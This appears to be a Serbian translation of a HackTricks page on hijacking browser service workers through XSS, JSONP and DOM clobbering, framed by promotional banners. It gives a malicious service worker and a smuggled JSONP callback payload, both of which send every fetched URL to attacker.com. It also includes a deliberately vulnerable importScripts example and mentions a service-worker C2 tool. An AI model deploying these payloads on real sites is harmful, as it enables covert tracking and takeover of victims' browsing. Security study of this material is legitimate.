# Zloupotreba servisnih radnika
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! * Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova** na [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
**Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## Osnovne informacije **Servisni radnik** je skripta koju vaš pregledač pokreće u pozadini, odvojeno od bilo koje veb stranice, omogućavajući funkcije koje ne zahtevaju veb stranicu ili interakciju korisnika, čime se poboljšavaju mogućnosti **offline i obrade u pozadini**. Detaljne informacije o servisnim radnicima mogu se pronaći [ovde](https://developers.google.com/web/fundamentals/primers/service-workers). Iskorišćavanjem servisnih radnika unutar ranjive veb domene, napadači mogu preuzeti kontrolu nad interakcijama žrtve sa svim stranicama unutar te domene. ### Provera postojanja servisnih radnika Postojeće servisne radnike možete proveriti u odeljku **Servisni radnici** u kartici **Aplikacija** u **Alatkama za razvoj**. Drugi način je posetiti [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) za detaljniji prikaz. ### Obaveštenja o guranju **Dozvole za obaveštenja o guranju** direktno utiču na sposobnost **servisnog radnika** da komunicira sa serverom bez direktnog korisničkog interakcije. Ako su dozvole odbijene, ograničava potencijal servisnog radnika da predstavlja kontinuiranu pretnju. Nasuprot tome, davanje dozvola povećava rizike bezbednosti omogućavajući prijem i izvršenje potencijalnih eksploatacija. ## Napad kreiranja servisnog radnika Da biste iskoristili ovu ranjivost, morate pronaći: * Način za **učitavanje proizvoljnih JS** fajlova na server i **XSS za učitavanje servisnog radnika** učitanog JS fajla * **Ranjiv JSONP zahtev** gde možete **manipulisati izlazom (sa proizvoljnim JS kodom)** i **XSS** za **učitavanje JSONP-a sa payloadom** koji će **učitati zlonamernog servisnog radnika**. U sledećem primeru ću prikazati kod za **registrovanje novog servisnog radnika** koji će osluškivati događaj `fetch` i **slati serveru napadača svaki preuzeti URL** (ovo je kod koji biste trebali **učitati** na **server** ili učitati putem **ranjivog JSONP** odgovora): ```javascript self.addEventListener('fetch', function(e) { e.respondWith(caches.match(e.request).then(function(response) { fetch('https://attacker.com/fetch_url/' + e.request.url) }); ``` I ovo je kod koji će **registrovati radnika** (kod koji biste trebali moći da izvršite zloupotrebom **XSS**-a). U ovom slučaju će **GET** zahtev biti poslat **napadačevom** serveru **obaveštavajući** da li je **registracija** servisnog radnika bila uspešna ili ne: ```javascript ``` U slučaju zloupotrebe ranjive JSONP tačke, trebalo bi da stavite vrednost unutar `var sw`. Na primer: ```javascript var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"; ``` Postoji **C2** posvećen **eksploataciji servisnih radnika** nazvan [**Shadow Workers**](https://shadow-workers.github.io) koji će biti vrlo koristan za zloupotrebu ovih ranjivosti. Direktiva **keša od 24 sata** ograničava život zlonamernog ili kompromitovanog **servisnog radnika (SW)** na najviše 24 sata nakon popravke ranjivosti XSS-a, uz pretpostavku statusa online klijenta. Da bi se smanjila ranjivost, operateri sajtova mogu smanjiti vreme života skripte SW-a (TTL). Razvojni programeri takođe se savetuju da kreiraju [**prekidač za gašenje servisnog radnika**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) za brzo deaktiviranje. ## Zloupotreba `importScripts` u SW putem DOM Clobbering Funkcija **`importScripts`** pozvana iz Servisnog Radnika može **uvoziti skriptu sa različite domene**. Ako se ova funkcija pozove koristeći **parametar koji napadač može** izmeniti, on bi mogao **uvoziti JS skriptu sa svoje domene** i dobiti XSS. **Ovo čak zaobilazi zaštitu CSP-a.** **Primer ranjivog koda:** * **index.html** ```html ``` * **sw.js** ```javascript const searchParams = new URLSearchParams(location.search); let host = searchParams.get('host'); self.importScripts(host + "/sw_extra.js"); //host can be controllable by an attacker ``` ### Sa DOM Clobbering-om Za više informacija o tome šta je DOM Clobbering, pogledajte: {% content-ref url="dom-clobbering.md" %} [dom-clobbering.md](dom-clobbering.md) {% endcontent-ref %} Ako je URL/domenu gde SW koristi **`importScripts`** unutar HTML elementa, moguće je izmeniti ga putem DOM Clobbering-a kako bi SW učitao skriptu sa vaše sopstvene domene. Za primer pogledajte referentni link. ## Reference * [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering) **Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! * Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).